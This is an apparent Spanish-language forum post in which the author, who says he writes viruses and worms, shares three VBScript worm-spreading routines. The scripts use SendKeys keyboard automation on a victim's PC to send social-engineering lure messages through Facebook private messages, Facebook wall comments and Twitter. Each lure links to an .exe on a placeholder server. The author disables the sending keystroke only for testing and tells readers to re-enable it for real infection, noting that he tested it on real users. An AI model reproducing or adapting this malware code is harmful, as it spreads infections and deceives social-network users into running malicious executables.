Hola a todos
Como algunos ya habréis visto, estoy retomando mis tiempos mozos de programación. Ando liado desarrollando
virus, troyanos y gusanos. Hoy vengo a compartir 3 funciones de Spread que permitirán reproducir una infección vírica usando
Facebook (2 métodos) y
Twitter (1 método)
El funcionamiento es muy simple. Primero de todo se tienen que dar unas circunstancias para que el "spread" sea efectivo, he realizado pruebas con usuarios reales y me he quedado asombrado con la
efectividad de éste "spread". El código se aprovecha de los atajos de teclado que hay en las web's de FB y TW. Eso significa que si cambian los atajos, la función dejará de funcionar... Empecemos con la primera:
Spread usando mensajes personales de FacebookPrimero de todo, os contaré las pulsaciones que ejecuta el script para que las podáis testear en vuestro propio FB, es muy fácil:
1. Entra en
www.facebook.com2. Inicia sesión en tu perfil
3. Pulsa la combinación de teclas:
ALT+M4. Pulsa una tecla (la letra C por ejemplo)
5. Pulsa Enter y Tabulador
6. Escribe un texto y pulsa Enter
Si lo has hecho bien, verás que has enviado un mensaje a un contacto de tu lista de amigos. Pues bien, el script automatiza todas esas acciones en el PC de la víctima:
Set WS = CreateObject("WScript.Shell")
call fb_msg_spread("holaa, te he etiquetado en esta foto http://www.servidor.com/mifoto.exe")
Function FB_MSG_Spread(X)
Randomize
C = Chr(Int(rnd*26)+97)
WS.run "http://www.facebook.com"
WScript.Sleep 5000
WS.SendKeys "%m"
WScript.Sleep 500
For i = 1 to Int(rnd*5)+2
WS.SendKeys C
WScript.Sleep 500
WS.SendKeys "{ENTER}"
Next
WScript.Sleep 500
WS.SendKeys "{TAB}"
WScript.Sleep 500
WS.SendKeys X
WScript.Sleep 500
'WS.SendKeys "{ENTER}"
End Function
Copiad ese código
TAL CUAL en un fichero de texto y lo guardáis como VBS. La última linea esta comentada, por lo que no os preocupéis, no se va a mandar ningún mensaje a ningún contacto vuestro.
Ahora ejecutad el fichero y mirar como se reproduce la secuencia de comandos. El script calcula una letra al azar y la utiliza para enviar el mensaje a varios contactos simultaneamente. Para utilizar éste código de forma real, quita el comentario de la última línea y ya tendrás un estupendo
spread por Facebook.
Spread usando noticias del muro de FacebookÉste metodo es parecido al anterior, pero utiliza las teclas
J y
C para buscar una noticia al azar y enviar el comentario:
Set WS = CreateObject("WScript.Shell")
call fb_txt_spread("ei, creo que te han etiquetado sin tu permiso! http://www.servidor.com/lafoto.exe")
Function FB_TXT_Spread(X)
Randomize
WS.run "http://www.facebook.com"
WScript.Sleep 5000
For i = 1 to Int(rnd*5)+1
WS.SendKeys "j"
WScript.Sleep 800
Next
WS.SendKeys "c"
WScript.Sleep 800
WS.SendKeys X
WScript.Sleep 500
'WS.SendKeys "{ENTER}"
WScript.Sleep 500
WS.SendKeys "{TAB}"
WScript.Sleep 500
WS.SendKeys "{TAB}"
WScript.Sleep 500
WS.SendKeys "j"
End Function
De igual modo que en el ejemplo anterior, podéis ejecutar éste script ya que la tecla
ENTER está comentada y no hay riesgo. Para utilizar el script en un entorno real, quitad el comentario.
Spread usando un tweet en TwitterLo mismo que los anteriores casos, utilizando la tecla
M para mandar un tweet:
Set WS = CreateObject("WScript.Shell")
call tw_txt_spread("Acabo de publicar un album de fotos http://www.servidor.com/photo_album.exe")
Function TW_TXT_Spread(X)
Randomize
WS.run "http://www.twitter.com"
WScript.Sleep 6000
WS.SendKeys "n"
WScript.Sleep 800
WS.SendKeys X
WScript.Sleep 500
WS.SendKeys "{TAB}"
WScript.Sleep 500
'WS.SendKeys "{ENTER}"
End Function
Podéis probar el código, ya que la tecla ENTER también está comentada.
Bueno, espero que os haya gustado y que haya quedado clara mi explicación.
Insisto, los script que he puesto los podéis probar en vuestro PC, ya que la línea que envía el mensaje a los contactos está deshabilitada con el comentario, así que no hay riesgo.Saludos!!